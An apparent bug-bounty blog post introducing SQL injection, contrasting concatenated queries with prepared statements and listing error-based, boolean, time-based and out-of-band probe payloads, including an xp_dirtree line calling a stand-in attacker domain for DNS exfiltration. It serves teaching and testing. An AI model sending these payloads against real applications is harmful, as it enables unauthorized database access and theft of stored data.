← /articles
2025-05-07 Β· 3 min read
BugBounty/3 min read

Intro to SQL Injection

#web

Structured Query Language (SQL) is the standard language used to communicate with relational databases. Any application that stores data in a persistent format most likely uses SQL.

A SQL Injection (SQLi) vulnerability allows an attacker to manipulate queries to the database. This could potentially let them Create, Read, Update, or Delete data posing a significant risk to application security.

🚨 What Causes SQL Injection?

SQL Injection occurs when:

  • User input is directly concatenated into SQL queries without validation or sanitization.
  • Applications fail to separate code from data in their database interactions.

Unsafe Code Example:

// Vulnerable code
const result = db.query("SELECT id FROM my_table WHERE id = " + request.query['id']);

This allows attackers to inject arbitrary SQL in the id parameter.

Safe Alternative:

// Safe with Prepared Statements
const query = db.prepare("SELECT id FROM my_table WHERE id = :id");
query.execute({ id: request.query['id'] });

Use parameterized queries to ensure user input is treated strictly as data.

🧬 Types of SQL Injection

1. Error-Based SQL Injection

Relies on the error messages thrown by the database to extract information.

Example Error Message:

β€œYou have an error in your SQL syntax; check the manual…”

Perform trial and error and observe the response

RequestResponse
example.com?id=’Error?
example.com?id=”Error?
example.com?id=`Error?
example.com?id=[])Error?

For Example

RequestQuery
/app/news.php?id=1SELECT articles.id AS article_id, users.username, user.iban FROM article INNER JOIN user ON articles.u_id=users.id WHERE article.u_id=β€˜1’
/app/news.php?id=1’SELECT articles.id AS article_id, users.username, user.iban FROM article INNER JOIN user ON articles.u_id=users.id WHERE article.u_id=β€˜1”
/app/news.php?id=1’+AND+1=1β€”+SELECT articles.id AS article_id, users.username, user.iban FROM article INNER JOIN user ON articles.u_id=users.id WHERE article.u_id=β€˜1’ AND 1=1 - -’

2. Blind SQL Injection

These are when application dosent return results of SQL Queries or errors in any of its responses. These vulns are still exploitable but are a little more complex and difficult to perform.

  • Can change the logic of query to obtain a detectable difference in applicaiton response, this could be obtained by injecting new condition in the query or triggering an error like divide by 0.

  • Trigger Time Delay and infer the response based on the time taken by the application to process query

  • Trigger an Out-Of-Band network interaction. this is extremely powerfull and works in cases when other techniques wont. Often done By exfiltrating data via the out-of-band channel by placing the data in a DNS lookup for the domain you control.

Techniques:

  • Boolean-based:

    • ' AND 1=1 -- (returns normal output)
    • ' AND 1=2 -- (returns blank or error)
  • Time-based:

    • '; WAITFOR DELAY '00:00:10' --
  • Out-of-Band:

    • exec master..xp_dirtree '//yourdomain.com/ping'

Analyze & Identify

RequestResponseAnalysis
?id=1” AND 1=1 β€”True Condition β†’ Response Received ?Check weather Response received or not
?id=1” AND 1=2 β€”False Condition β†’ Invalid Response?Invalid Response Check the difference from the valid request

Also we can verify if a SQL Injection exist by entering the following commands

RequestResponse
1’ AND sleep(5) β€”Is there a delay?
’; WAITFOR DELAY β€˜0:0:5’ β€”Is there a delay?

Once we know it have a vulnerability then How Blind SQL Works?

Ways to Exploit

RequestExplainaiton
?id=1’(IF TRUE/VALID) THEN sleep(5)If my expression is true then delay for 5 seconds otherwise do nothing
SELECT SUBSTRING(String,Start,Value)We can Use substring to blindly check the value for data we are extracting [SELECT SUBSTRING(β€œSahil”,1,1) β‡’ S], [SELECT SUBSTRING(β€œSahil”,1,2) β‡’ SA], [SELECT SUBSTRING(β€œSahil”,2,1) β‡’ A]
?id=1’ AND substring(@@version),1,1=5If True we receive no error and we know the app is running on MySQl Version 5.x

Happy Hunting πŸ”πŸž


Thanks for reading!

Follow along for more deep-dives into systems engineering, architecture, and security research.

← Back to ArticlesWritten by Sahil Singh Rawat